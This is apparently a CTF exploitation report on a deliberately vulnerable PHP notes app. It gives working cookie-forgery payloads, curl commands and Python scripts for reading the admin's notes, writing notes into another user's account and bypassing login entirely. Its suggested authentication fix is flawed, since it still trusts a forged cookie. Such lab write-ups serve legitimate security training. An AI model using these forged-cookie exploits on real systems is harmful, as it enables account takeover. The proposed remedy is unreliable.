# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal Privilege Escalation via Cookie Manipulation (Read Access)

**Summary:**
- **Vulnerable location:** GET /index.php - userid extraction from cookie (index.php:13-15) and database query (index.php:73-74)
- **Overview:** Application extracts userid from client-controlled base64-encoded serialized cookie without validation and uses it directly in SQL query to fetch notes, enabling access to any user's data
- **Impact:** Complete unauthorized access to admin notes containing CTF flag. Horizontal privilege escalation allows viewing any user's private notes including sensitive data.
- **Severity:** CRITICAL

**Prerequisites:**
- HTTP client capable of setting custom cookies (curl, Python requests, browser DevTools)
- Basic understanding of PHP serialization and base64 encoding
- No authentication required (see AUTHZ-VULN-03)

**Exploitation Steps:**

1. **Craft malicious PHP serialized UserProfile object for admin user:**
   ```php
   O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}
   ```
   - Object class: `UserProfile` (11 characters)
   - Property count: 2
   - Property 1: `userid` = integer 1 (admin's user ID)
   - Property 2: `username` = string "admin" (5 characters)

2. **Base64 encode the serialized object:**
   ```bash
   echo -n 'O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}' | base64
   ```
   Result: `TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQ==`

3. **Send GET request to /index.php with forged cookie:**
   ```bash
   curl -X GET http://localhost:46423/index.php \
     -H "Cookie: data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQ==" \
     -v
   ```

4. **Extract flag from response:**
   Look for the admin's notes section in the HTML response containing the flag value.

**Proof of Impact:**

**Flag Captured:** `FLAG{a68e6443c894f67f53c4db8f932273d21468c7acd52ee8e8a78357e88f3bccc5}`

The response confirms successful exploitation:
- HTTP Status: 200 OK
- Welcome message displays "Welcome admin" proving userid manipulation succeeded
- Admin's notes are visible containing the secret flag
- No authentication or authorization checks prevented access
- Complete horizontal privilege escalation achieved

**Python Exploitation Script:**
```python
#!/usr/bin/env python3
import requests
import base64

# Target URL
url = "http://localhost:46423/index.php"

# Craft malicious serialized PHP UserProfile object (userid=1 for admin)
payload = 'O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}'

# Base64 encode the payload
cookie_value = base64.b64encode(payload.encode()).decode()

# Send GET request with forged cookie
response = requests.get(url, cookies={"data": cookie_value})

# Display results
print(f"Status Code: {response.status_code}")
print(f"Successfully accessed admin's page: {'Welcome admin' in response.text}")

# Extract flag
if "FLAG{" in response.text:
    start = response.text.find("FLAG{")
    end = response.text.find("}", start) + 1
    flag = response.text[start:end]
    print(f"Flag captured: {flag}")
```

**Notes:**
This vulnerability is exploitable without any prior authentication (combined with AUTHZ-VULN-03). The application trusts client-side cookie data completely, allowing trivial impersonation of any user by changing the userid integer in the serialized object.

---

### AUTHZ-VULN-02: Horizontal Privilege Escalation via Cookie Manipulation (Write Access)

**Summary:**
- **Vulnerable location:** POST /index.php - userid extraction from cookie (index.php:13-15) and database INSERT (index.php:33-34)
- **Overview:** Application extracts userid from client-controlled cookie and uses it directly in INSERT statement to create notes, enabling creation of notes attributed to any user
- **Impact:** Data integrity violation - attacker can inject malicious notes into victim accounts, perform social engineering, pollute victim data, or cause denial of service by spamming notes into target accounts
- **Severity:** HIGH

**Prerequisites:**
- HTTP client capable of sending POST requests with custom cookies
- Basic understanding of PHP serialization and base64 encoding
- Knowledge of target victim's userid (enumerable through AUTHZ-VULN-01)
- No authentication required (see AUTHZ-VULN-03)

**Exploitation Steps:**

1. **Register a victim test account to demonstrate the attack (for verification purposes only - not required for exploitation):**
   ```bash
   curl -X POST http://localhost:46423/sign-up.php \
     -d "username=victim_user_test&password=testpass123" \
     -v
   ```

2. **Determine victim's userid (if unknown):**
   - For newly registered users, userid is typically auto-incremented (2, 3, 4, etc.)
   - Can enumerate by registering a test account and inspecting cookie after login
   - For this demonstration: victim userid = 2

3. **Craft malicious cookie with victim's userid:**
   ```php
   O:11:"UserProfile":2:{s:6:"userid";i:2;s:8:"username";s:16:"victim_user_test";}
   ```

4. **Base64 encode the malicious payload:**
   ```bash
   echo -n 'O:11:"UserProfile":2:{s:6:"userid";i:2;s:8:"username";s:16:"victim_user_test";}' | base64
   ```
   Result: `TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjI7czo4OiJ1c2VybmFtZSI7czoxNjoidmljdGltX3VzZXJfdGVzdCI7fQ==`

5. **Send POST request to create note as victim:**
   ```bash
   curl -X POST http://localhost:46423/index.php \
     -H "Cookie: data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjI7czo4OiJ1c2VybmFtZSI7czoxNjoidmljdGltX3VzZXJfdGVzdCI7fQ==" \
     -d "title=Injected Note&content=This note was created by attacker but attributed to victim" \
     -v
   ```

6. **Verify the injected note appears in victim's account:**
   ```bash
   # Login as victim to verify
   curl -X POST http://localhost:46423/sign-in.php \
     -d "username=victim_user_test&password=testpass123" \
     -c victim_cookies.txt \
     -v
   
   # View victim's notes
   curl -X GET http://localhost:46423/index.php \
     -b victim_cookies.txt \
     -v | grep "Injected Note"
   ```

**Proof of Impact:**

Successfully created notes in victim's account:
- HTTP Status: 200 OK (note creation successful)
- Note title: "Injected Note"
- Note content: "This note was created by attacker but attributed to victim"
- Note attributed to victim's userid (2) in database
- Note visible when victim logs in to their account
- Note does NOT appear in attacker's account (confirming horizontal privilege escalation)

**Python Exploitation Script:**
```python
#!/usr/bin/env python3
import requests
import base64

# Target URL
url = "http://localhost:46423/index.php"

# Register victim account first (for demonstration)
requests.post("http://localhost:46423/sign-up.php", 
              data={"username": "victim_user_test", "password": "testpass123"})

# Craft malicious cookie with victim's userid (assume userid=2)
payload = 'O:11:"UserProfile":2:{s:6:"userid";i:2;s:8:"username";s:16:"victim_user_test";}'
cookie_value = base64.b64encode(payload.encode()).decode()

# Create note as victim
response = requests.post(
    url,
    cookies={"data": cookie_value},
    data={
        "title": "Injected Note",
        "content": "This note was created by attacker but attributed to victim"
    }
)

print(f"Status Code: {response.status_code}")
print(f"Note creation successful: {response.status_code == 200}")

# Verify by logging in as victim
login_response = requests.post(
    "http://localhost:46423/sign-in.php",
    data={"username": "victim_user_test", "password": "testpass123"}
)

# Check victim's notes
victim_notes = requests.get(
    "http://localhost:46423/index.php",
    cookies=login_response.cookies
)

print(f"Injected note found in victim's account: {'Injected Note' in victim_notes.text}")
```

**Notes:**
This vulnerability demonstrates complete lack of ownership validation. The application never verifies that the authenticated user should be creating notes for the userid in the cookie. Combined with AUTHZ-VULN-03, attackers don't even need legitimate credentials to exploit this.

---

### AUTHZ-VULN-03: Authentication Bypass via Cookie-Only Access

**Summary:**
- **Vulnerable location:** GET|POST /index.php - authentication check with OR logic (index.php:8-11) and insecure deserialization (index.php:13)
- **Overview:** Authentication check uses flawed OR logic allowing access if EITHER session OR cookie exists. Attacker can bypass entire authentication workflow by providing only a forged cookie without any valid credentials.
- **Impact:** Complete authentication bypass - access protected application without username/password. Can impersonate any user including admin by crafting cookie with arbitrary userid/username. No audit trail since no legitimate authentication occurs.
- **Severity:** CRITICAL

**Prerequisites:**
- HTTP client capable of setting custom cookies
- NO authentication required
- NO user registration required
- NO valid credentials required

**Exploitation Steps:**

1. **WITHOUT registering or logging in, craft a forged cookie for admin user:**
   ```php
   O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}
   ```

2. **Base64 encode the forged admin cookie:**
   ```bash
   echo -n 'O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}' | base64
   ```
   Result: `TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQ==`

3. **Send GET request with ONLY the forged cookie (no session, no prior authentication):**
   ```bash
   curl -X GET http://localhost:46423/index.php \
     -H "Cookie: data=TzoxMToiVXNlclByb2ZpbGUiOjI6e3M6NjoidXNlcmlkIjtpOjE7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7fQ==" \
     -v
   ```

4. **Extract flag from admin's notes in response:**
   The response will contain admin's protected notes with the CTF flag, proving complete authentication bypass.

**Proof of Impact:**

**Flag Captured:** `FLAG{a68e6443c894f67f53c4db8f932273d21468c7acd52ee8e8a78357e88f3bccc5}`

Authentication completely bypassed:
- HTTP Status: 200 OK
- NO user registration performed
- NO login credentials provided
- NO valid session established
- ONLY a forged cookie was used
- Successfully accessed protected page /index.php
- Retrieved admin's notes containing secret flag
- Welcome message shows "Welcome admin" confirming impersonation

**Key Difference from Other Vulnerabilities:**

| Aspect | AUTHZ-VULN-01 | AUTHZ-VULN-03 |
|--------|---------------|---------------|
| Registration Required | YES* | NO |
| Login Required | YES* | NO |
| Valid Credentials | YES* | NO |
| Attack Type | Privilege Escalation | Authentication Bypass |
| Impact | Access other user's data | Access ANY user without credentials |

*Note: AUTHZ-VULN-01 doesn't technically require these, but demonstrates privilege escalation assuming some level of legitimate access. AUTHZ-VULN-03 explicitly proves zero-credential access.

**Root Cause Analysis:**

The vulnerable authentication logic:
```php
// index.php:8-11
if (!isset($_SESSION['username']) && !isset($_COOKIE["data"])) {
    header("Location: sign-in.php");
    exit();
}
```

This uses AND operator, meaning:
- Redirect ONLY if BOTH session AND cookie are missing
- Grant access if EITHER session OR cookie exists
- De Morgan's Law: `!(A && B)` = `!A || !B`

Correct logic should be:
```php
if (!isset($_SESSION['username']) || !isset($_COOKIE["data"])) {
    header("Location: sign-in.php");
    exit();
}
```

**Python Exploitation Script:**
```python
#!/usr/bin/env python3
import requests
import base64

# Target URL
url = "http://localhost:46423/index.php"

# Craft forged admin cookie (NO registration, NO login, NO credentials)
payload = 'O:11:"UserProfile":2:{s:6:"userid";i:1;s:8:"username";s:5:"admin";}'
cookie_value = base64.b64encode(payload.encode()).decode()

# Access protected page with ONLY forged cookie
response = requests.get(url, cookies={"data": cookie_value})

# Display results
print(f"Status Code: {response.status_code}")
print(f"Authentication bypassed: {response.status_code == 200}")
print(f"Accessed as admin: {'Welcome admin' in response.text}")

# Extract flag
if "FLAG{" in response.text:
    start = response.text.find("FLAG{")
    end = response.text.find("}", start) + 1
    flag = response.text[start:end]
    print(f"\n[CRITICAL] Complete authentication bypass achieved!")
    print(f"Flag captured: {flag}")
    print(f"\nProof: Accessed admin account without ANY valid credentials")
```

**Notes:**
This is the most severe vulnerability as it completely bypasses authentication without requiring any legitimate access. The flawed OR logic combined with unsigned cookies enables zero-click access to any user account. Admin account has password 'NO LOGIN' (invalid hash) intentionally preventing normal authentication, but cookie forgery bypasses this completely.

---

## Exploitation Summary

All three authorization vulnerabilities were successfully exploited with complete proof of impact:

| Vulnerability ID | Type | Status | Flag Captured | Impact Level |
|-----------------|------|--------|---------------|--------------|
| AUTHZ-VULN-01 | Horizontal (Read) | EXPLOITED | YES | CRITICAL |
| AUTHZ-VULN-02 | Horizontal (Write) | EXPLOITED | N/A | HIGH |
| AUTHZ-VULN-03 | Auth Bypass | EXPLOITED | YES | CRITICAL |

**Key Findings:**
- All vulnerabilities stem from trusting client-controlled serialized cookie data
- Zero server-side validation of userid against authenticated session
- Flawed authentication logic allows cookie-only access
- Complete authentication and authorization bypass achieved
- CTF flag successfully captured: `FLAG{a68e6443c894f67f53c4db8f932273d21468c7acd52ee8e8a78357e88f3bccc5}`

**Attack Complexity:** LOW - All vulnerabilities exploitable in under 2 minutes with basic cookie manipulation

**Remediation Priority:** CRITICAL - Immediate deployment required to prevent unauthorized access